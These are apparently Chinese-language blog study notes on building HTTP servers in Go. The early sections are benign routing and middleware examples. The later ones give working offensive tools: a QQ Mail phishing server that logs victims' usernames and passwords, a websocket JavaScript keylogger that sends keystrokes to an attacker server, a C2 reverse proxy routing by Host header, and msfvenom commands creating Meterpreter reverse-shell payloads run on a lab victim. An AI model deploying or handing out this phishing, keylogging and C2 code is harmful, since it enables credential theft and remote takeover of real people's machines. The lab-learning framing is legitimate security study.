建立一个httpserver
package main
import (
"fmt"
"net/http"
)
func hello(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello %s\n", r.URL.Query().Get("name"))// 取query参数进行拼接并赋值到writer
}
func main() {
http.HandleFunc("/hello", hello)
http.ListenAndServe(":8000", nil)
}
使用路由
package main
import (
"fmt"
"net/http"
)
type router struct {
}
func (r *router) ServeHTTP(w http.ResponseWriter, req *http.Request) {
switch req.URL.Path {
case "/a":
fmt.Fprint(w, "Executing /a")
case "/b":
fmt.Fprint(w, "Executing /b")
case "/c":
fmt.Fprint(w, "Executing /c")
default:
http.Error(w, "404 Not Found", 404)
}
}
func main() {
var r router
http.ListenAndServe(":8000", &r)
}
这里router实现了ServerHTTP方法,也就实现了http.handler接口,因此可以传入http.ListenAndServe方法中
这里有个疑问就是第一个httpserver的ListenAndServe第二个参数为空,其实也是设置了handler的,http.HandleFunc方法将路由以及对应的处理方法注册进了DefaultServeMux。
middleware
package main
import (
"fmt"
"log"
"net/http"
)
type logger struct {
Inner http.Handler
}
func (l *logger) ServeHTTP(w http.ResponseWriter,r *http.Request) {
log.Println("start")
l.Inner.ServeHTTP(w,r) // <-------------
log.Println("end")
}
func hello2(w http.ResponseWriter,r *http.Request){
fmt.Fprint(w,"hello2\n")
}
func main() {
f := http.HandlerFunc(hello2)
l := logger{Inner: f}
http.ListenAndServe(":8000",&l)
}
先看一下流程,首先http.HandlerFunc设置了所有请求的处理方法为hello2,此时返回的handler设置为logger的Inner,而logger也实现了ServeHTTP函数,其作为http.handler传入ListenAndServe。当有请求入栈,触发
func (l *logger) ServeHTTP(w http.ResponseWriter,r *http.Request)
方法内再触发
func hello2(w http.ResponseWriter,r *http.Request)
实现的效果就是任何请求入栈,在真正做操作之前都执行了我们定义的操作或者方法。有点切面编程的意思。
mux
package main
import (
"fmt"
"github.com/gorilla/mux"
"net/http"
)
func main() {
r := mux.NewRouter()
r.HandleFunc("/foo", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w,"hello\n")
}).Methods("GET")
http.ListenAndServe(":8000",r)
}
mux包可匹配请求的methods,host等。只有匹配成功才能访问路由
支持变量
r.HandleFunc("/foo/{user}", func(w http.ResponseWriter, r *http.Request)
正则限定参数类型
r.HandleFunc("/foo/{user:[a-z]+}", func(w http.ResponseWriter, r *http.Request)
Negroni
package main
import (
"fmt"
"github.com/gorilla/mux"
"github.com/urfave/negroni"
"net/http"
)
type trivial struct {
} // 实现了negroni的ServeHTTP方法
func (t *trivial) ServeHTTP(w http.ResponseWriter,r *http.Request,next http.HandlerFunc){
fmt.Fprintf(w,"pass trivial\n")
next(w,r)
}
func next(w http.ResponseWriter,r http.Request) {
fmt.Fprint(w,"end")
}
func main() {
r := mux.NewRouter()
n := negroni.Classic()
n.Use(&trivial{})
n.UseHandler(r)
http.ListenAndServe(":8000",n)
}
trivial实现了negroni.handler接口
next具体所指debug了一下发现由这个函数进行集中分发,
整个next的调用如下,在中间某一步调用了我们实现的ServeHTTP方法。据具体还没搞清楚,太菜了。。
一个小整合
package main
import (
"context"
"fmt"
"net/http"
"github.com/gorilla/mux"
"github.com/urfave/negroni"
)
type badAuth struct {
Username string
Password string
}
func (b *badAuth) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {
username := r.URL.Query().Get("username")
password := r.URL.Query().Get("password")
if username != b.Username || password != b.Password {
http.Error(w, "Unauthorized", 401)
return
}
ctx := context.WithValue(r.Context(), "username", username)
r = r.WithContext(ctx)
next(w, r)
}
func hello(w http.ResponseWriter, r *http.Request) {
username := r.Context().Value("username").(string)
fmt.Fprintf(w, "Hi %s\n", username)
}
func main() {
r := mux.NewRouter()
r.HandleFunc("/hello", hello).Methods("GET") // GET访问/hello
n := negroni.Classic()
n.Use(&badAuth{
Username: "admin",
Password: "password",
})
n.UseHandler(r)
http.ListenAndServe(":8000", n)
}
如图我们提交username和password后,后端来到
func (b *badAuth) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc)
获取到用户名和密码,进行对比,如果不匹配则返回401,否则认证成功进入下一步,初始化context,并在r上下文设置变量username将变量传递,到达hello handler,读取username进行展示。
实现一个qqmail钓鱼页面
package main
import (
log "github.com/sirupsen/logrus"
"github.com/gorilla/mux"
"net/http"
"os"
"time"
)
func main() {
f,err := os.OpenFile("s.txt",os.O_CREATE|os.O_APPEND|os.O_WRONLY,0600)
if err != nil{
panic(err)
}
defer f.Close()
log.SetOutput(f)
r := mux.NewRouter()
r.HandleFunc("/login",login)
r.PathPrefix("/").Handler(http.FileServer(http.Dir("public")))
log.Fatal(http.ListenAndServe(":8000",r))
}
func login(w http.ResponseWriter, r *http.Request) {
log.WithFields(log.Fields{
"time": time.Now(),
"uername":r.FormValue("username"),
"password":r.FormValue("password"),
"UA":r.UserAgent(),
"ipaddr":r.RemoteAddr,
}).Info("log attempt")
http.Redirect(w,r,"https://mail.qq.com",302)
}
实现一个keylogger
package main
import (
"flag"
"fmt"
"html/template"
"log"
"net/http"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)
var (
upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
listenAddr string
wsAddr string
jsTemplate *template.Template
)
func init() {
flag.StringVar(&listenAddr, "listen-addr", "", "Address to listen on")
flag.StringVar(&wsAddr, "ws-addr", "", "Address for WebSocket connection")
flag.Parse()
var err error
jsTemplate, err = template.ParseFiles("logger.js")
if err != nil {
panic(err)
}
}
func serveWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil) // 所有的http连接使用websocket协议
if err != nil {
http.Error(w, "", 500)
return
}
defer conn.Close()
fmt.Printf("Connection from %s\n", conn.RemoteAddr().String())
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
}
}
func serveFile(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/javascript")
jsTemplate.Execute(w, wsAddr)
}
func main() {
r := mux.NewRouter()
r.HandleFunc("/ws", serveWS)
r.HandleFunc("/k.js", serveFile)
log.Fatal(http.ListenAndServe(":8080", r))
}
(function() {
var conn = new WebSocket("ws://{{.}}/ws");
document.onkeypress = keypress;
function keypress(evt) {
s = String.fromCharCode(evt.which);
conn.send(s);
}
})();
init函数会在main函数之前执行,这个之前的代码没有注意,无需显式调用init。init函数内的
jsTemplate, err = template.ParseFiles("logger.js")
执行一个模板渲染。也就是后面的k.js是由logger.js渲染而成的,并不是将logger.js直接开放。主函数主要处理两个路由
- /ws
- /k.js
由于远程加载了k.js,会在客户端按下按键时主动发送websocket连接,携带信息,回连本地,serveWS调用了websocket包来处理websocket连接,获取连接带来的msg,本地展示,完成键盘记录func serveWS(w http.ResponseWriter, r *http.Request) {
实现一个c2反向代理
```go package main
import ( “log” “net/http” “net/http/httputil” “net/url” “github.com/gorilla/mux” )
var ( hostProxy = make(map[string]string) proxies = make(map[string]*httputil.ReverseProxy) )
func init() { hostProxy[“attacker4.com”] = “http://192.168.43.87:4444“ // 定义真正c2服务器地址 hostProxy[“attacker5.com”] = “http://192.168.43.87:5555“
for k, v := range hostProxy {
remote, err := url.Parse(v)
if err != nil {
log.Fatal("Unable to parse proxy target")
}
proxies[k] = httputil.NewSingleHostReverseProxy(remote) // 此函数生成了一个c2反向代理指向remote
}
}
func main() { r := mux.NewRouter() for host, proxy := range proxies { // 这里使用mux来匹配HTTP协议的Host头,如果命中则设置handler为proxy。这里的proxy可以看到是前面生成的反向代理,这样实现的效果就是通过不同Host头来代理到不同的C2端口,或者不同的C2服务器。 r.Host(host).Handler(proxy) } log.Fatal(http.ListenAndServe(“:80”, r)) }
这里简单说一下拓扑
- ubuntu 16.04 192.168.0.68 ---> 受害主机
- windows10 192.168.0.239 ---> go代理
- kali 192.168.0.87 ---> c2服务器
win10启动代理<br />![image.png](https://cdn.nlark.com/yuque/0/2020/png/436678/1599051537716-1a2ca947-9800-4c6d-ada2-9045d4361e6a.png#align=left&display=inline&height=87&margin=%5Bobject%20Object%5D&name=image.png&originHeight=87&originWidth=650&size=10783&status=done&style=none&width=650)<br />kali msf生成shellcode
```shell
msfvenom -p linux/x86/meterpreter_reverse_http lhost=192.168.43.239 lport=80 HttpHostHeader=attacker4.com -f elf > /root/shell4
msfvenom -p linux/x86/meterpreter_reverse_http lhost=192.168.43.239 lport=80 HttpHostHeader=attacker5.com -f elf > /root/shell5
c2监听端口
受害主机执行shellcode
c2上线
通过抓包也能大概看到反向代理的过程